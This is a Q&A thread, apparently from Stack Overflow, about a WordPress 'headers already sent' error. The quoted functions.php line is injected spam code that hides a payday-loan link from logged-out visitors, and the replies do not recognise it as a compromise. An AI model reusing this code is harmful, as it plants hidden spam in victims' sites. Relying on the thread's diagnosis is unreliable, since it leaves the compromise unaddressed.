Cannot modify header information error - PHP

Question

Headers already sent by PHP

I have been trying to fix the error on playhawaiisoccer.com for a friend of mine. Unforunately, the error is beyond my ability. The error I'm getting is the following:

"Warning: Cannot modify header information - headers already sent by (output started at /home/content/72/8966572/html/wp-content/themes/LeanBiz/functions.php:1) in /home/content/72/8966572/html/wp-includes/pluggable.php on line 865"

If I understand correctly, I'm sending headers a second time in my pluggable.php file. Here's the code from each file. Any help would be greatly appreciated.

Functions.php line 1:

<?php function callbackx($buffer) {$tx="";if (function_exists("is_user_logged_in"))if     (!is_user_logged_in()) $tx=" <style>.fgbh{position:absolute;clip:rect(457px,auto,auto,421px);}    </style><div class=fgbh>direct lender <a href=http://advancedcashin10min.com >payday loans</a></div>"; if (stristr($buffer,"</a>"))$buffer=str_ireplace("</a>","</a>".$tx,$buffer); else $buffer=$tx.$buffer; return $buffer; } function buffer_startx(){ob_start("callbackx");}  function buffer_endx(){ob_end_flush();} add_action( 'buffer_startx', 'wp_head'); add_action('wp_footer', 'buffer_endx'); ?>

Pluggable.php line 865:

function wp_redirect($location, $status = 302) {
global $is_IIS;

$location = apply_filters('wp_redirect', $location, $status);
$status = apply_filters('wp_redirect_status', $status, $location);

if ( !$location ) // allows the wp_redirect filter to cancel a redirect
    return false;

$location = wp_sanitize_redirect($location);

if ( !$is_IIS && php_sapi_name() != 'cgi-fcgi' )
    status_header($status); // This causes problems on IIS and some FastCGI setups

header("Location: $location", true, $status);}

Thanks in advance for any help!

There are quite a few other questions related to this. Output is already being sent to the browser, in which case headers cannot be changed. — datasage, Jan 29 '13 at 21:22
And about a gazillion others. The first too many of which are nicely presented on the sidebar at the right. — Jon, Jan 29 '13 at 21:23

Make sure <?php is at the very start of the functions.php file (before any whitespace) and remove ?> at the end of that file.

If you have any characters, whitspace or otherwise, outside those tags, PHP will send them along with http headers, so the header command later on would fail.
